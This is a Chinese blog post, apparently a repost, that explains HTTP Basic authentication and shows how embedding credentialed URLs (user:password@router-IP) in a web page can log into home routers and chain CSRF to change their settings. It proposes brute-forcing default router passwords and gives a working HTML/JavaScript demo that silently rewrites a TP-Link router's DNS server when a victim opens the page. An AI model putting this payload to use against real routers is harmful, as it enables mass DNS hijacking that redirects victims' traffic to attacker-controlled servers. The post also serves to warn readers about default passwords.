Http Authentication Url and csrf = Router Hacking !!!

暗月博客 2019年11月21日15:30:01评论332 views字数 1410阅读4分42秒阅读模式
摘要

首先简要的说下什么是Http Authentication,服务端返回一个401状态,并返回一个WWW-Authenticate头。

首先简要的说下什么是Http Authentication,服务端返回一个401状态,并返回一个WWW-Authenticate头。

Http Authentication Url and csrf = Router Hacking !!!

 

WWW-Authenticate头包含了Http Authentication认证框的一些描叙,如下图

Http Authentication Url and csrf = Router Hacking !!!

 

在认证框中输入用户名和密码,将密码放入Authorization头中发送

YWRtaW46YWRtaW4=即是admin:admin的base64编码

Http Authentication Url and csrf = Router Hacking !!!

 

Http Authentication这一认证过程,实际上早先在所有浏览器中支持以Http Authentication Url的形式访问登陆,即

http://user:password@url

而微软为了防止钓鱼URL的问题,出了一个安全补丁,禁止了Http Authentication Url,见

http://support.microsoft.com/kb/834489

 

科 普完毕,八下之前的一些东西,前些年看到过国外黑路由的几个案例,其中比较精彩的有flash upnp attack,将内网指定IP的端口给映射出来进行攻击,当然还有部分路由有漏洞也可以将路由的WEB管理端口给映射出来进行攻击,后来FLASH将这个 安全漏洞修补了。

 

回到正题上,我们知道国内大部分的家用路由都是使用的Http Authentication认证方式,比如我上图中的就是TPLINK路由,虽然IE禁止了Http Authentication Url,但是firefox、chrome等浏览器任然支持Http Authentication Url,同时以标签的形式嵌入Http Authentication Url可以强制Http Authentication认证成功,没有任何安全提示,于是邪恶的攻击方法来了。

 

1. 我们可以取国内各种路由的默认IP和默认密码构造一个Http Authentication Url暴力登陆脚本。

2.使用CSRF修改路由的DNS,指向我们的恶意DNS。

 

比如下面这个TPLINK的小DEMO:

<script>
function dns(){
alert('I have changed your dns on my domain!')
i = new Image;
i.src='http://192.168.1.1/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=8.8.8.8&dnsserver2=0.0.0.0&Save=%B1%A3+%B4%E6';
}

</script>

<img src="http://admin:[email protected]/images/logo.jpg" height=1 width=1 onload=dns()>

 访问tplink.html后!

Http Authentication Url and csrf = Router Hacking !!!

 

偷偷加入一个8.8.8.8的DNS服务器!

Http Authentication Url and csrf = Router Hacking !!!

 

想一想,黑客如果用这种攻击方式大规模攻击,将是如何恐怖?弹指一挥间,数万路由被静默修改DNS?

这是一个普遍的安全问题,您的路由器是否修改好了默认密码,不过值得庆幸的是只有firefox、chrome等浏览器存在此类安全问题。

来源:http://hi.baidu.com/kpstfbahmmalqre/item/008121262c7802112b0f1c89

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
暗月博客
  • 本文由 发表于 2019年11月21日15:30:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Http Authentication Url and csrf = Router Hacking !!!http://cn-sec.com/archives/70941.html

发表评论

匿名网友 填写信息